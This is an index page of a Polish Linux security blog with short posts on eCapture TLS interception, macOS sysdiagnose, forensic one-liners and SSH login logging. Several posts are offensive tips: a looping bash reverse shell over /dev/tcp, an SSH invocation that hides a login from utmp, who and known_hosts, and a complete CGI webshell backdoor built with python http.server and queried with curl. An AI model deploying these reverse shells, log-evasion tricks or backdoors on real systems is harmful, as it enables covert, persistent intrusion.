NFsec Logo

eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF

25/05/2022 (3 dni temu) w Bezpieczeństwo, Pen Test Możliwość komentowania eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF została wyłączona

W

yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności „podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write / SSL_read współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]

sysdiagnose plus

27/09/2021 w Bezpieczeństwo, Debug Możliwość komentowania sysdiagnose plus została wyłączona

S

ysdiagnose to narzędzie, które znajduje się na większości urządzeń z systemem macOS i iOS. Służy ono do zbierania informacji diagnostycznych dotyczących całego systemu. Obecna wersja – 3.0 zbiera duże ilości danych z szerokiej gamy lokalizacji w systemie. Mogą one być przydatne w informatyce śledczej komputera prowadzonej na żywo. W przypadku poszukiwań złośliwego oprogramowania przechwycone dane mogą pomóc w zidentyfikowaniu zainfekowanego pliku binarnego; mechanizmu persystencji (gdy złośliwe oprogramowanie uzyska dostęp do systemu, często chce zostać tam przez długi czas opracowując metody pozwalające na jego powrót po restarcie systemu; jeśli mechanizm persystencji jest wystarczająco unikalny, może nawet służyć jako świetny sposób na określenie cechy charakterystycznej danego złośliwego oprogramowania) lub połączeń do C2 (serwery Command and Control – nazywane również C&C odnoszą się do sposobu, w jaki atakujący komunikują się i sprawują kontrolę nad zainfekowanym systemem; po zainfekowaniu systemu większość złośliwego oprogramowania komunikuje się z serwerem kontrolowanym przez atakującego, aby przyjmować polecenia, pobierać dodatkowe komponenty lub wykradać informacje).
[ czytaj całość… ]

Kilka przydatnych jednolinijkowców dla informatyki śledczej Linuksa

12/08/2021 w Bezpieczeństwo, CmdLineFu Możliwość komentowania Kilka przydatnych jednolinijkowców dla informatyki śledczej Linuksa została wyłączona

sudo grep -F '(deleted)' /proc/*/maps | grep -E '\s[r\-][w\-]x[sp\-]\s'

– znajdź działające procesy z usuniętymi plikami wykonalnymi.

sudo find /tmp -executable -not -empty -type b,c,f,l,p

– znajdź pliki wykonalne w katalogu /tmp.

sudo grep -a -E '^.{,5}\[' /proc/[0-9]*/cmdline

– znajdź procesy z nawiasami kwadratowymi (używane przez złośliwe oprogramowanie, aby wyglądały jak procesy jądra).

sudo grep -E '\s[r\-][w\-]x[sp\-]\s' /proc/*/maps | awk -F ' ' '{if(length($6)==0){split($1, arr, "/");print arr[3]}}' \
| sort | uniq | xargs -I {} -n 1 bash -c 'cat /proc/{}/cmdline; echo'

– znajdź i wyświetl procesy mające niezmapowane sekcje wykonalne.

Więcej informacji: Ściągawka z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa, Thread with one-liners bash commands to search for malware in a Linux host

Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie

24/04/2021 w Hacks & Scripts Możliwość komentowania Pętla dla powłoki zwrotnej bash, gdyby nam zerwało połączenie została wyłączona

while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done 

Logujemy logowania i nie tylko cz.III – sshrc

05/04/2021 w Bezpieczeństwo Możliwość komentowania Logujemy logowania i nie tylko cz.III – sshrc została wyłączona

J

eśli w katalogu domowym użytkownika istnieje plik ~/.ssh/rcsh(1) uruchomi go po przeczytaniu plików środowiskowych, ale przed uruchomieniem powłoki lub polecenia użytkownika (nawet jeśli wyłączymy alokację TTY). Plik ten nie może generować żadnych danych na standardowy strumień wyjścia (stdout); zamiast tego należy użyć standardowego strumienia błędów (stderr). Przykład:
[ czytaj całość… ]

Lepszy reverse shell z rlwrap i nie tylko

10/03/2021 w Administracja Możliwość komentowania Lepszy reverse shell z rlwrap i nie tylko została wyłączona

r

lWrap jest opakowaniem biblioteki readline umożliwiającym edycję danych wejściowych z klawiatury dla dowolnego polecenia; zapewnia również mechanizm historii, który jest bardzo przydatny do poprawiania lub ponownego wykorzystywania poleceń. Program ten można wykorzystać wszędzie tam, gdzie interfejs wiersza poleceń danego narzędzia nie umożliwia takich czynności. W dodatku, jeśli posiadamy wolne połączenia z daną siecią, gdzie każde naciśnięcie klawisza jest przesyłane jedno po drugim w zauważalnej pauzie, a każda literówka staje się o wiele bardziej frustrująca i czasochłonna dla nas – rlwrap również sprawdza się w tej sytuacji, ponieważ buforuje wszystkie pojedyncze naciśnięcia klawiszy do momentu naciśnięcia klawisza [Enter], a następnie przesyła jednocześnie całą wprowadzoną linię tekstu. To znacznie ułatwia pisanie z dużą prędkością i poprawianie literówek.
[ czytaj całość… ]

Prawie niewidzialne SSH

25/02/2021 w Hacks & Scripts Możliwość komentowania Prawie niewidzialne SSH została wyłączona

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"

Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who (zalogowanych użytkowników). Pominie również takie pliki, jak .profile oraz .bash_profile, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:

agresor@darkstar:~$ w
w
 22:44:35 up 11 min,  1 user,  load average: 0.05, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                22:37    5:15   0.04s  0.03s -bash
agresor@darkstar:~$ who
who
root    tty1         2021-02-25 22:37

Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:

agresor@darkstar:~$ ss -t
ss -t
State   Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process
ESTAB   0        0           192.168.56.2:ssh      192.168.56.1:49998

Więcej informacji: man ssh

Pokaż wszystkie pakiety zainstalowane ręcznie w systemie

14/01/2021 w CmdLineFu 1 komentarz.

while read x; do echo -e "$x\n`aptitude why $x`" | grep 'Manually installed' -B1 |\
grep -v '^Manually installed\|^--'; done <<< $(apt-mark showmanual)

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist

Ostrożnie z edycją skryptów bash

09/05/2020 w Hacks & Scripts Możliwość komentowania Ostrożnie z edycją skryptów bash została wyłączona

P

isząc i uruchamiając skrypty bash lepiej poczekać z ich edycją do czasu aż zakończą swoje działanie. Dlaczego? W naszym ulubionym edytorze stwórzmy prosty skrypt:

#!/bin/bash
sleep 30
#echo "All your base are belong to us!"
echo "Done!"

Jeśli uruchomimy go teraz w jednym oknie terminala to po 30 sekundach powinniśmy otrzymać tylko i wyłącznie komunikat o treści: Done!. Dobrze, a teraz po uruchomieniu go w pierwszym oknie terminala – z poziomu innego okna edytujmy jego zawartość, gdy ten jeszcze nie przekroczył czasu 30 sekund i usuńmy zero (0) z trzydziestki zostawiając samą trójkę (3), czyli finalnie nasz skrypt powinien mieć postać:
[ czytaj całość… ]